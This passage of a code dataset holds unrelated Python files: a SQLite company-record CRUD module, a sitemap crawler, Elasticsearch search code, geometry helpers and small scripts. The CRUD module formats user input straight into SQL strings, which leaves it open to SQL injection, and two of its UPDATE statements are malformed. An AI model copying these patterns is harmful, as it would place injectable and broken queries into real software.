\"(/?((\\w|%|-)+\\.?)+)+\"  # server.com/folder.f/folder\n        \"\\':\"\n    )\n\nsubversion_property_name = re.compile(\n        \"^\\s*svn:\\w*\"\n    )\n","sub_path":"re_helpers.py","file_name":"re_helpers.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"596850594","text":"# Criat Tabela da Empresa\r\ndef criar_empresa(conexao):\r\n    cursor = conexao.cursor()\r\n\r\n    sql =  \"\"\"\r\n        CREATE TABLE IF NOT EXISTS empresa (\r\n        id_empresa INTEGER PRIMARY KEY AUTOINCREMENT,\r\n        nome_empresa TEXT NOT NULL,\r\n        rua_empresa TEXT NOT NULL,\r\n        num_endereco_empresa INTEGER NOT NULL,\r\n        bairro_empresa TEXT NOT NULL,\r\n        telefone_empresa TEXT NOT NULL,\r\n        cidade_empresa TEXT NOT NULL,\r\n        estado_empresa TEXT NOT NULL\r\n        )\"\"\"\r\n\r\n    cursor.execute(sql)\r\n\r\n#Adicionar dados na tabela empresa\r\ndef inserir_empresa(conexao):\r\n    cursor = conexao.cursor()\r\n    nome_empresa         = input(\"Nome da empresa: \")\r\n    rua_empresa          = input(\".....ENDEREÇO DA EMPRESA.....\\nNome da Rua: \")\r\n    num_endereco_empresa = input(\"Número: \")\r\n    bairro_empresa       = input(\"Bairro: \")\r\n    telefone_empresa     = input(\"Telefone ou Celular da empresa (ex: 1111-1111): \")\r\n    cidade_empresa       = input(\"Cidade da empresa: \")\r\n    estado_empresa       = input(\"Estado da empresa: \")\r\n\r\n    sql = \"\"\"INSERT INTO empresa (nome_empresa, rua_empresa, num_endereco_empresa, bairro_empresa,\r\n    telefone_empresa, cidade_empresa, estado_empresa) VALUES ('{}', '{}', '{}', '{}', '{}','{}', '{}')\r\n    \"\"\".format(nome_empresa, rua_empresa, num_endereco_empresa, bairro_empresa,\r\n    telefone_empresa, cidade_empresa, estado_empresa)\r\n\r\n    cursor.execute(sql)\r\n    conexao.commit()\r\n\r\n# Para listar as empresa já adicionadas\r\ndef listar_empresa(conexao, id_usuario):\r\n    cursor = conexao.cursor()\r\n    sql = \"SELECT * FROM empresa inner JOIN trabalho  where empresa.id_empresa = trabalho.id_empresa AND trabalho.id_usuario = {};\".format(id_usuario)\r\n    cursor.execute(sql)\r\n\r\n    lista = cursor.fetchall()\r\n    for u in lista:\r\n        print(\"\"\"\r\n        Codigo da empresa que Você Trabalha: {}\r\n        Nome da Empresa: {}\r\n        Rua: {}\r\n        Número: {}\r\n        Bairro: {}\r\n        Telefone de Contato: {}\r\n        Cidade: {}\r\n        Estado: {}\"\"\".format(u[0], u[1], u[2], u[3], u[4], u[5], u[6], u[7]))\r\n\r\n#Só para buscar empresa na hora de add trabalho\r\ndef buscar_empresa(conexao):\r\n    cursor = conexao.cursor()\r\n\r\n    sql = \"SELECT rowid, * FROM EMPRESA;\"\r\n    cursor.execute(sql)\r\n    lista = cursor.fetchall()\r\n    for u in lista:\r\n        print(\"\"\"\r\n        Codigo da empresa: {}\r\n        Nome da Empresa: {}\r\n        Rua: {}\r\n        Número: {}\r\n        bairro: {}\r\n        Telefone: {}\r\n        Cidade: {}\r\n        Estado: {}\"\"\".format(u[1], u[2], u[3], u[4], u[5], u[6], u[7], u[8]))\r\n\r\n#Para excluir um cadastro feito\r\n# def excluir_empresa(conexao):\r\n#     cursor = conexao.cursor()\r\n#     id_empresa = int(input(\"Qual Id de empresa desejar excluir? \"))\r\n#     opcao      = int(input(\"Tem certeza que quer excluir o cadastro? \\n1 = Sim \\n2 = Não \\nR: \"))\r\n#\r\n#     if(opcao == 1):\r\n#         sql = \"DELETE FROM empresa WHERE rowid = {}\".format(id_empresa)\r\n#         cursor.execute(sql)\r\n#         cursor.commit\r\n#\r\n#     else:\r\n#         print(\"Registro não excluído\")\r\n#\r\n#Atualizar campos da tabela empresa\r\ndef atualizar_empresa(conexao):\r\n     cursor = conexao.cursor()\r\n     atualizar_id = int(input(\"Qual Id deseja alaterar? \"))\r\n     opcao    = int(input(\"\"\"\r\n                 Qual é a opção a ser mudada\r\n                 1 = Nome empresa\r\n                 2 = Rua empresa\r\n                 3 = Número da empresa\r\n                 4 = Bairro da empresa\r\n                 5 = Telefone da empresa\r\n                 6 = Cidade da empresa\r\n                 7 = Estado da empresa\r\n                 R = \"\"\"))\r\n     novo_valor  = input(\"Qual é o valor a ser colocado? \")\r\n     if (opcao == 1):\r\n         sql = \"\"\" UPDATE empresa SET nome_empresa = '{}' WHERE rowid = {} ;\r\n         \"\"\".format(novo_valor, atualizar_id)\r\n\r\n         cursor.execute(sql)\r\n         conexao.commit()\r\n\r\n     elif(opcao == 2):\r\n         sql = \"\"\" UPDATE empresa SET rua_empresa = '{}' WHERE rowid = {} ;\r\n         \"\"\".format(novo_valor, atualizar_id)\r\n\r\n         cursor.execute(sql)\r\n         conexao.commit()\r\n\r\n     elif(opcao == 3):\r\n         sql = \"\"\" UPDATE empresa SET num_endereco_empresa = '{}' WHERE rowid = {} ;\r\n         \"\"\".format(novo_valor, atualizar_id)\r\n\r\n         cursor.execute(sql)\r\n         conexao.commit()\r\n\r\n     elif(opcao == 41):\r\n         sql = \"\"\" UPDATE empresa SET bairro_empresa = '{}' WHERE rowid = {} ;\r\n         \"\"\".format(novo_valor, atualizar_id)\r\n\r\n         cursor.execute(sql)\r\n         conexao.commit()\r\n\r\n     elif(opcao == 5):\r\n         sql = \"\"\" UPDATE empresa SET telefone_empresa = '{}' WHERE rowid = {} ;\r\n         \"\"\".format(novo_valor, atualizar_id)\r\n\r\n         cursor.execute(sql)\r\n         conexao.commit()\r\n\r\n     elif(opcao == 6):\r\n         sql = \"\"\" UPDATE empresa SET  = '{}' WHERE rowid = {} ;\r\n         \"\"\".format(novo_valor, atualizar_id)\r\n\r\n         cursor.execute(sql)\r\n         conexao.commit()\r\n\r\n     elif(opcao == 7):\r\n         sql = \"\"\" UPDATE empresa SET  = '{}' WHERE rowid = {} ;\r\n         \"\"\".format(novo_valor, atualizar_id)\r\n\r\n         cursor.execute(sql)\r\n         conexao.commit()\r\n","sub_path":"Project/empresa.py","file_name":"empresa.py","file_ext":"py","file_size_in_byte":5132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"571304131","text":"import pandas as pd\n\n# to read csv file named \"samplee\"\na = pd.read_csv(\"AQI.csv\")\n\n# to save as html file\n# named as \"Table\"\na.to_html(\"aqi.html\")\n\n# assign it to a\n# variable (string)\nhtml_file = a.to_html()\n\n\n","sub_path":"script3.py","file_name":"script3.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"530598760","text":"# encoding: UTF-8\n\n\"\"\"\n包含一些开发中常用的函数\n\"\"\"\n\nimport os\nimport decimal\nimport json\nfrom datetime import *\n\nMAX_NUMBER = 10000000000000\nMAX_DECIMAL = 4\n\n#----------------------------------------------------------------------\ndef safeUnicode(value):\n    \"\"\"检查接口数据潜在的错误，保证转化为的字符串正确\"\"\"\n    # 检查是数字接近0时会出现的浮点数上限\n    if type(value) is int or type(value) is float:\n        if value > MAX_NUMBER:\n            value = 0\n    \n    # 检查防止小数点位过多\n    if type(value) is float:\n        d = decimal.Decimal(str(value))\n        if abs(d.as_tuple().exponent) > MAX_DECIMAL:\n            value = round(value, ndigits=MAX_DECIMAL)\n    \n    return unicode(value)\n\n#----------------------------------------------------------------------\ndef loadMongoSetting():\n    \"\"\"载入MongoDB数据库的配置\"\"\"\n    fileName = 'VT_setting.json'\n    path = os.path.abspath(os.path.dirname(__file__)) \n    fileName = os.path.join(path, fileName)  \n    \n    try:\n        f = file(fileName)\n        setting = json.load(f)\n        host = setting['mongoHost']\n        port = setting['mongoPort']\n        logging = setting['mongoLogging']\n    except:\n        host = 'localhost'\n        port = 27017\n        logging = False\n        \n    return host, port, logging\n\n#----------------------------------------------------------------------\ndef todayDate():\n    \"\"\"获取当前本机电脑时间的日期\"\"\"\n    return datetime.now().replace(hour=0, minute=0, second=0, microsecond=0)    \n\ndef toESTtime(localtime=None, estdatetime=None, timestamp=None, returnStr=False):\n    \"\"\"\n        如果没有传入任何参数。则把当前时间转为 EST 时间格式\n        localtime: 本地时间转为 EST 时间， 不传来代表本地时间转为 EST 时间\n        datetime:  传入一个 EST 时间\n        timestampe:  把传入的 timestamp 转为 EST 时间\n        returnStr:  是否返回 STR 格式\n        存在问题： 对于比较的时间，发现相差一个小时。\n    \"\"\"\n#   先判断 timestamp, 再判断 datetime，没有则默认 localtime\n\n    if timestamp:   # 如果传入的是 timestamp\n        if isinstance(timestamp, (str)) and len(timestamp) == 8:    # IB 返回的日线 timestamp\n            estDateTime = datetime.strptime(timestamp, '%Y%m%d')\n        else:\n            # 日内来的 timeStamp  要减 4个小时\n            estDateTime = datetime.utcfromtimestamp(float(timestamp))\n            estDateTime = estDateTime - timedelta(hours=4)  # EST  GMT-4:00\n\n        if returnStr == True:\n            estDateTimeStr = estDateTime.strftime('%Y%m%d %H:%M:%S EST')\n            return estDateTimeStr\n        return estDateTime\n\n    elif estdatetime:        # 如果传入的是一个 EST 时间\n        if isinstance(estdatetime, (str)):                                   #是否字符串\n            if len(estdatetime)==8:\n                estDateTime = datetime.strptime(estdatetime, '%Y%m%d')\n            else:\n                estDateTime =  datetime.strptime(estdatetime, '%Y%m%d %H:%M:%S')\n\n        elif isinstance(estdatetime,(datetime)):                             #传入的是日期格式\n            estDateTime = estdatetime\n\n        if returnStr == True:\n            estDateTimeStr = estDateTime.strftime('%Y%m%d %H:%M:%S EST')\n            return estDateTimeStr\n        return estDateTime\n\n    else:\n        estDateTime = datetime.utcnow() - timedelta(hours=4)  # EST = GMT -4:00\n        if returnStr == True:\n            estDateTimeStr = estDateTime.strftime('%Y%m%d %H:%M:%S EST')\n            return estDateTimeStr\n        return estDateTime","sub_path":"vn.trader/vtFunction.py","file_name":"vtFunction.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"278264986","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport cv2\nimport numpy as np\n\n\n\ndef forward_convert(coordinate, with_label=True):\n    \"\"\"\n    :param coordinate: format [x_c, y_c, w, h, theta]\n    :return: format [x1, y1, x2, y2, x3, y3, x4, y4]\n    \"\"\"\n    boxes = []\n    if with_label:\n        for rect in coordinate:\n            box = cv2.boxPoints(((rect[0], rect[1]), (rect[2], rect[3]), rect[4]))\n            box = np.reshape(box, [-1, ])\n            boxes.append([box[0], box[1], box[2], box[3], box[4], box[5], box[6], box[7], rect[5]])\n    else:\n        for rect in coordinate:\n            box = cv2.boxPoints(((rect[0], rect[1]), (rect[2], rect[3]), rect[4]))\n            box = np.reshape(box, [-1, ])\n            boxes.append([box[0], box[1], box[2], box[3], box[4], box[5], box[6], box[7]])\n\n    return np.array(boxes, dtype=np.float32)\n\n\ndef back_forward_convert(coordinate, with_label=True):\n    \"\"\"\n    :param coordinate: format [x1, y1, x2, y2, x3, y3, x4, y4, (label)] \n    :param with_label: default True\n    :return: format [x_c, y_c, w, h, theta, (label)]\n    \"\"\"\n\n    boxes = []\n    if with_label:\n        for rect in coordinate:\n            box = np.int0(rect[:-1])\n            box = box.reshape([4, 2])\n            rect1 = cv2.minAreaRect(box)\n\n            x, y, w, h, theta = rect1[0][0], rect1[0][1], rect1[1][0], rect1[1][1], rect1[2]\n            boxes.append([x, y, w, h, theta, rect[-1]])\n\n    else:\n        for rect in coordinate:\n            box = np.int0(rect)\n            box = box.reshape([4, 2])\n            rect1 = cv2.minAreaRect(box)\n\n            x, y, w, h, theta = rect1[0][0], rect1[0][1], rect1[1][0], rect1[1][1], rect1[2]\n            boxes.append([x, y, w, h, theta])\n\n    return np.array(boxes, dtype=np.float32)\n\n\ndef my_convert(coordinate, with_label=True):\n    '''\n    :param coordinate: format [x1, y1, x2, y2, x3, y3, x4, y4, (label)]\n    :param with_label:\n    :return: [x1, y1, x2, y2, h, label]  see as R2CNN\n    '''\n    boxes = []\n    if with_label:\n        for box in coordinate:\n            rect = np.array(box[:-1])\n            x1, y1, x2, y2 = rect[0], rect[1], rect[2], rect[3]\n            x3, y3 = rect[4], rect[5]\n            h = np.sqrt((x2 - x3) * (x2 - x3) + (y2 - y3) * (y2 - y3))\n            boxes.append([x1, y1, x2, y2, h, box[-1]])\n\n    else:\n        for box in coordinate:\n            rect = np.array(box)\n            x1, y1, x2, y2 = rect[0], rect[1], rect[2], rect[3]\n            x3, y3 = rect[4], rect[5]\n            h = np.sqrt((x2 - x3) * (x2 - x3) + (y2 - y3) * (y2 - y3))\n            boxes.append([x1, y1, x2, y2, h])\n\n    return np.array(boxes, dtype=np.float32)\n\n\ndef my_getnms_area(coordinate):\n    '''\n    get nms inclined box area\n    :param coordinate: [x1, y1, x2, y2, h]\n    :param with_label:\n    :return: [xc, yc, w, h, theta]\n    '''\n    boxes = []\n    for rect in coordinate:\n        box = np.array(rect)\n        x1, y1, x2, y2, h = box[0], box[1], box[2], box[3], box[4]\n        if abs(x1 - x2) < 1e-6:\n            x3 = x2 + h\n            y3 = y2\n        else:\n            k1 = (y2 - y1) / (x2 - x1)\n            if abs(k1) < 0.01:   # tan(pi/180)\n                x3 = x2\n                y3 = y2 + h\n            else:\n                kk = -1.0 / k1\n                bias = np.sqrt(h * h / (1 + kk * kk))\n                bias = bias if kk > 0 else -bias\n                x3 = x2 + bias\n                y3 = y2 + kk * (x3 - x2)\n\n        x4 = x1 + x3 - x2\n        y4 = y1 + y3 - y2\n\n        #print([x1,y1,x2,y2,x3,y3,x4,y4])\n\n        tmp = np.int0([x1, y1, x2, y2, x3, y3, x4, y4]).reshape([4, 2])\n        rect2 = cv2.minAreaRect(tmp)\n        x, y, w, h, theta = rect2[0][0], rect2[0][1], rect2[1][0], rect2[1][1], rect2[2]\n        #print(x, y, w, h, theta)\n        boxes.append([x, y, w, h, theta])\n\n    return np.array(boxes, dtype=np.float32)\n\n\nif __name__ == '__main__':\n\n    coord1 = np.array([[392.1219, 152.3644, 456.0470, 153.3651, 42.0590],\n                       [392.6227, 152.6220, 456.2122, 153.8851, 41.8631]])\n\n\n    boxes = my_getnms_area(coord1)\n\n\n\n\n","sub_path":"libs/box_utils/coordinate_convert.py","file_name":"coordinate_convert.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"397544680","text":"import json\nfrom pprint import pprint  # noqa\nfrom collections import defaultdict\n\nfrom werkzeug.datastructures import MultiDict\n\nfrom aleph.core import get_es, get_es_index, url_for\nfrom aleph import authz\nfrom aleph.index import TYPE_RECORD, TYPE_DOCUMENT\nfrom aleph.search.util import add_filter, authz_filter, clean_highlight\nfrom aleph.search.util import execute_basic\nfrom aleph.search.fragments import text_query_string, meta_query_string\nfrom aleph.search.fragments import match_all, child_record\nfrom aleph.search.facets import convert_aggregations\nfrom aleph.search.records import records_query\n\nDEFAULT_FIELDS = ['source_id', 'title', 'file_name', 'extension', 'languages',\n                  'countries', 'source_url', 'created_at', 'updated_at',\n                  'type', 'summary', 'keywords', 'author', 'recipients']\n\n# Scoped facets are facets where the returned facet values are returned such\n# that any filter against the same field will not be applied in the sub-query\n# used to generate the facet values.\nOR_FIELDS = ['source_id']\n\n\ndef documents_query(args, fields=None, facets=True, newer_than=None):\n    \"\"\"Parse a user query string, compose and execute a query.\"\"\"\n    if not isinstance(args, MultiDict):\n        args = MultiDict(args)\n    text = args.get('q', '').strip()\n    q = text_query(text)\n    q = authz_filter(q)\n\n    if newer_than is not None:\n        q = add_filter(q, {\n            \"range\": {\n                \"created_at\": {\n                    \"gt\": newer_than\n                }\n            }\n        })\n\n    # Sorting -- should this be passed into search directly, instead of\n    # these aliases?\n    sort_mode = args.get('sort', '').strip().lower()\n    if text or sort_mode == 'score':\n        sort = ['_score']\n    elif sort_mode == 'newest':\n        sort = [{'dates': 'desc'}, {'created_at': 'desc'}, '_score']\n    elif sort_mode == 'oldest':\n        sort = [{'dates': 'asc'}, {'created_at': 'asc'}, '_score']\n    else:\n        sort = [{'updated_at': 'desc'}, {'created_at': 'desc'}, '_score']\n\n    # Extract filters, given in the form: &filter:foo_field=bla_value\n    filters = []\n    for key in args.keys():\n        for value in args.getlist(key):\n            if not key.startswith('filter:'):\n                continue\n            _, field = key.split(':', 1)\n            filters.append((field, value))\n\n    for entity in args.getlist('entity'):\n        filters.append(('entities.uuid', entity))\n\n    aggs = {}\n    if facets:\n        aggs = aggregate(q, args, filters)\n        aggs = facet_source(q, aggs, filters)\n        q = entity_collections(q, aggs, args, filters)\n\n    return {\n        'sort': sort,\n        'query': filter_query(q, filters),\n        'aggregations': aggs,\n        '_source': fields or DEFAULT_FIELDS\n    }\n\n\ndef entity_collections(q, aggs, args, filters):\n    \"\"\"Filter entities, facet for collections.\"\"\"\n    entities = args.getlist('entity')\n    collections = []\n    readable = authz.collections(authz.READ)\n    for collection_id in args.getlist('collection'):\n        if authz.collection_read(collection_id):\n            collections.append(int(collection_id))\n\n    flt = {\n        'or': [\n            {\n                'terms': {'entities.collection_id': collections}\n            },\n            {\n                'and': [\n                    {\n                        'terms': {'entities.collection_id': readable},\n                        'terms': {'entities.uuid': entities},\n                    }\n                ]\n            }\n        ]\n    }\n    aggs['entities'] = {\n        'nested': {\n            'path': 'entities'\n        },\n        'aggs': {\n            'inner': {\n                'filter': flt,\n                'aggs': {\n                    'entities': {\n                        'terms': {'field': 'entities.uuid', 'size': 100}\n                    }\n                }\n            }\n        }\n    }\n    return q\n\n\ndef facet_source(q, aggs, filters):\n    aggs['scoped']['aggs']['source'] = {\n        'filter': {\n            'query': filter_query(q, filters, skip='source_id')\n        },\n        'aggs': {\n            'source': {\n                'terms': {'field': 'source_id', 'size': 1000}\n            }\n        }\n    }\n    return aggs\n\n\ndef aggregate(q, args, filters):\n    # Generate aggregations. They are a generalized mechanism to do facetting\n    # in ElasticSearch. Anything placed inside the \"scoped\" sub-aggregation\n    # is made to be ``global``, ie. it'll have to bring it's own filters.\n    aggs = {'scoped': {'global': {}, 'aggs': {}}}\n    for facet in args.getlist('facet'):\n        agg = {facet: {'terms': {'field': facet, 'size': 100}}}\n        aggs.update(agg)\n    return aggs\n\n\ndef filter_query(q, filters, skip=None):\n    \"\"\"Apply a list of filters to the given query.\"\"\"\n    or_filters = defaultdict(list)\n    for field, value in filters:\n        if field == skip:\n            continue\n        if field in OR_FIELDS:\n            or_filters[field].append(value)\n        else:\n            q = add_filter(q, {'term': {field: value}})\n    for field, value in or_filters.items():\n        q = add_filter(q, {'terms': {field: value}})\n    return q\n\n\ndef text_query(text):\n    \"\"\" Construct the part of a query which is responsible for finding a\n    piece of thext in the selected documents. \"\"\"\n    if text is None or not len(text.strip()):\n        return match_all()\n    return {\n        \"bool\": {\n            \"minimum_should_match\": 1,\n            \"should\": [\n                meta_query_string(text),\n                child_record({\n                    \"bool\": {\n                        \"should\": [text_query_string(text)]\n                    }\n                })\n            ]\n        }\n    }\n\n\ndef run_sub_queries(output, sub_queries):\n    if len(sub_queries):\n        res = get_es().msearch(index=get_es_index(), doc_type=TYPE_RECORD,\n                               body='\\n'.join(sub_queries))\n        for doc in output['results']:\n            for sq in res.get('responses', []):\n                sqhits = sq.get('hits', {})\n                for hit in sqhits.get('hits', {}):\n                    record = hit.get('_source')\n                    if doc['id'] != record.get('document_id'):\n                        continue\n                    record['score'] = hit.get('_score')\n                    highlights = hit.get('highlight', {})\n                    if len(highlights.get('text', [])):\n                        record['text'] = highlights.get('text')\n                    elif len(highlights.get('text_latin', [])):\n                        record['text'] = highlights.get('text_latin', [])\n                    else:\n                        continue\n                    record['text'] = [clean_highlight(t) for t in record['text']]\n                    doc['records']['results'].append(record)\n                    doc['records']['total'] = sqhits.get('total', 0)\n\n\ndef execute_documents_query(args, query):\n    \"\"\"Execute the query and return a set of results.\"\"\"\n    result, hits, output = execute_basic(TYPE_DOCUMENT, query)\n    convert_aggregations(result, output, args)\n    sub_queries = []\n    for doc in hits.get('hits', []):\n        document = doc.get('_source')\n        document['id'] = int(doc.get('_id'))\n        document['score'] = doc.get('_score')\n        document['records'] = {'results': [], 'total': 0}\n\n        sq = records_query(document['id'], args)\n        if sq is not None:\n            sub_queries.append(json.dumps({}))\n            sub_queries.append(json.dumps(sq))\n\n        document['api_url'] = url_for('documents_api.view',\n                                      document_id=doc.get('_id'))\n        document['data_url'] = url_for('documents_api.file',\n                                       document_id=doc.get('_id'))\n        output['results'].append(document)\n\n    run_sub_queries(output, sub_queries)\n    return output\n\n\ndef execute_documents_alert_query(args, query):\n    \"\"\"Execute the query and return a set of results.\"\"\"\n    if not isinstance(args, MultiDict):\n        args = MultiDict(args)\n    query['size'] = 50\n    result, hits, output = execute_basic(TYPE_DOCUMENT, query)\n    convert_aggregations(result, output, args)\n    sub_queries = []\n    for doc in hits.get('hits', []):\n        document = doc.get('_source')\n        document['id'] = int(doc.get('_id'))\n        for source in output['sources']['values']:\n            if source['id'] == document['source_id']:\n                document['source'] = source\n        document['records'] = {'results': [], 'total': 0}\n\n        sq = records_query(document['id'], args, size=1)\n        if sq is not None:\n            sub_queries.append(json.dumps({}))\n            sub_queries.append(json.dumps(sq))\n        output['results'].append(document)\n\n    run_sub_queries(output, sub_queries)\n    return output\n","sub_path":"aleph/search/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":8784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"531154958","text":"\nfrom tkinter import *\nfrom PIL import ImageTk, Image\n\n\n\ndef Dragon_Door():\n    button1.destroy()\n    button2.destroy()\n    button3.destroy()\n    label1.destroy()\n    label2.destroy()\n    label3.destroy()\n    dragonImage = Image.open(\"/Users/siddarthkrishnan/Desktop/dragon12.jpg\")\n    dragonImage1 = ImageTk.PhotoImage(dragonImage)\n    labelx = Label(newWindow,image = dragonImage1)\n    labelx.image = dragonImage1\n    labelx.pack()\n    \n    \n    \n\nnewWindow = Tk()\nimg1 = Image.open(\"/Users/siddarthkrishnan/Desktop/door5.jpg\")\nimg2 = ImageTk.PhotoImage(img1)\nlabel1 = Label(newWindow, image = img2)\nlabel1.pack(side = RIGHT)\nlabel2 = Label(newWindow, image = img2)\nlabel2.pack()\nlabel3 = Label(newWindow, image = img2)\nlabel3.pack(side = LEFT)\nbutton1 = Button(newWindow, text = \"DRAGON\", command = Dragon_Door)\nbutton1.pack(side = RIGHT)\nbutton2 = Button(newWindow, text = \"WARRIOR\")\nbutton2.pack(side = LEFT)\nbutton3 = Button(newWindow, text = \"WIZARD\")\nbutton3.pack()\n\n    \n                    \n\n\n    \n\n","sub_path":"TextGame.py","file_name":"TextGame.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"410602658","text":"def colorsort(a):\n   start = 0\n   end = len(a)-1\n   pos = 0\n   while pos<=end:\n##      print(a)\n##      print(start)\n##      print(end)\n##      print(pos)\n      if a[pos]==0:\n         a[pos],a[start]=a[start],a[pos]\n         pos+=1\n         start+=1\n      elif a[pos]==2:\n         a[pos],a[end]=a[end],a[pos]\n         if(a[end]==2):\n            end-=1\n         \n         pos+=1\n      else:\n         pos+=1\n##   print(a)\n##colorsort([1,0])\ncolorsort([2,0,2,1,1,0])\n","sub_path":"color sort.py","file_name":"color sort.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"477808112","text":"import aiohttp\nimport asyncio\nimport logging\nimport re\nimport threading\nimport time\nimport urllib.parse\nimport validators\n\nfrom pysitemap.format_processors.xml import XMLWriter\nfrom pysitemap.format_processors.text import TextWriter\n\nfrom disk_queue import DiskQueue\n\n\nclass AsyncCrawler():\n    format_processors = {\n        'xml': XMLWriter,\n        'txt': TextWriter\n    }\n\n    def __init__(self, root_url, out_file, load, prefix, batch_size, max_tries=5, delay=3, num_tasks=100, out_format='xml'):\n        self.diskQueue = DiskQueue(load)\n\n        self.prefix = prefix\n        self.max_tries = max_tries\n        self.delay = delay\n        self.batch_size = batch_size\n        self.out_file = out_file\n        self.out_format = out_format\n        self.load = load\n        self.root_url = root_url\n\n        self.numTasks = num_tasks\n        self.fileIndex = 1\n        self.writeQueue = []\n        self.writeSemaphore = asyncio.Semaphore(1)\n\n        # connector stores cookies between requests and uses connection pool\n        self.session = aiohttp.ClientSession()\n        self.writer = self.format_processors.get(out_format)\n\n        logging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s', level=logging.INFO)\n\n    async def write(self, index):\n        await self.writer(self.out_file.format(index, self.out_format)).write([key for key in self.writeQueue])\n\n    async def retry(self, resp, max_tries, delay):\n        for _ in range(max_tries):\n            try:\n                await asyncio.sleep(delay // 1000) \n                return (await resp.read()).decode('utf-8', 'replace')\n            except Exception:\n                continue\n\n    async def run(self):\n        if not self.load:\n            self.diskQueue.Push(self.root_url)\n        \n        t = asyncio.gather(*[self.process() for _ in range(self.numTasks)])\n        await t\n\n        await self.session.close()\n        await self.write(self.fileIndex)\n        self.diskQueue.Close()\n\n    async def process(self):\n        while not self.diskQueue.IsDone():\n            url = self.diskQueue.Next()\n\n            if url is None:\n                await asyncio.sleep(5)\n                continue\n            \n            print(url)\n\n            try:\n                resp = await self.session.get(url)  # await response\n            except Exception as exc:\n                # on any exception mark url as BAD\n                logging.info('... {} has error {}'.format(url, repr(str(exc))))\n                # Add url without looking at text if it starts with a good prefix\n                # We just won't get any other webpages it links to\n                if url.startswith(self.prefix):\n                    self.writeQueue.append(url)\n            else:\n                # only url with status == 200 and content type == 'text/html' parsed\n                if (resp.status == 200 and (resp.headers.get('content-type') is not None and 'text/html' in resp.headers.get('content-type'))):\n                    data = await self.retry(resp, self.max_tries, self.delay)\n                    if data:\n                        logging.info('Success: {}'.format(url))\n                        urls = re.findall(r'(?i)href=[\"\\']?([^\\s\"\\'<>]+)', data)\n                        for u in urls:\n                            parsed = urllib.parse.urljoin(url, u)\n                            final, frag = urllib.parse.urldefrag(parsed)\n\n                            if final.startswith(self.root_url) and validators.url(url):\n                                self.diskQueue.Push(final)\n\n                # even if we have no exception, we can mark url as good\n                resp.close()\n\n                if url.startswith(self.prefix):\n                    self.writeQueue.append(url)\n                \n                logging.info('To Write: {}'.format(len(self.writeQueue)))\n                logging.info('TODO: {}, InProgress {}'.format(len(self.diskQueue.todo), len(self.diskQueue.inProgress)))\n            self.diskQueue.Done(url)\n            await asyncio.sleep(5)\n\n    async def maybeWriteFile(self):\n        # Acquire semaphore\n        await self.writeSemaphore.acquire()\n        try:\n            # If number of finished tasks is the same as the batch_size\n            if len(self.writeQueue) == self.batch_size:\n                # Write file\n                await self.write(self.fileIndex)\n                # Increment file index to avoid overwriting\n                self.fileIndex += 1\n                # Reset count of finished\n                self.countFinished = 0\n                # Reset done \n                self.writeQueue.clear()\n        finally:\n            self.writeSemaphore.release()","sub_path":"async_crawler.py","file_name":"async_crawler.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"409215537","text":"from src.extensions import db\nfrom src.test_cases.models import TestQuestionUserRelation\nfrom src.test_cases.schemas import UserTestCaseSchema\nfrom src.test_cases.uttils import flat_user_test_case\n\n\nclass TestCaseService:\n    \"\"\"Uset test case logic layer.\"\"\"\n\n    def __init__(self, user, test_case):\n        self.user = user\n        self.test_case = test_case\n\n    def load_user_case(self):\n        \"\"\"Return user test case relations.\"\"\"\n        self.create_missing_relations()\n        schema = UserTestCaseSchema()\n\n        return tuple(filter(\n            lambda question: question['test_case_id'] == self.test_case.id,\n            flat_user_test_case(schema.dump(self.user)),\n        ))\n\n    def create_missing_relations(self):\n\n        questions_id = {\n            test_question.id\n            for test_question in self.test_case.test_questions\n        }\n\n        user_question_relations = TestQuestionUserRelation.query.filter(\n            TestQuestionUserRelation.user == self.user,\n            TestQuestionUserRelation.test_question_id.in_(questions_id),\n        ).all()\n\n        existed_relations_ids = {\n            relation.test_question.id\n            for relation in user_question_relations\n        }\n\n        questions_without_relations = questions_id - existed_relations_ids\n\n        new_relations = tuple(\n            TestQuestionUserRelation(\n                test_question_id=question_id,\n                user_id=self.user.id,\n            )\n            for question_id in questions_without_relations\n        )\n\n        db.session.bulk_save_objects(new_relations)\n        db.session.commit()\n","sub_path":"src/test_cases/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
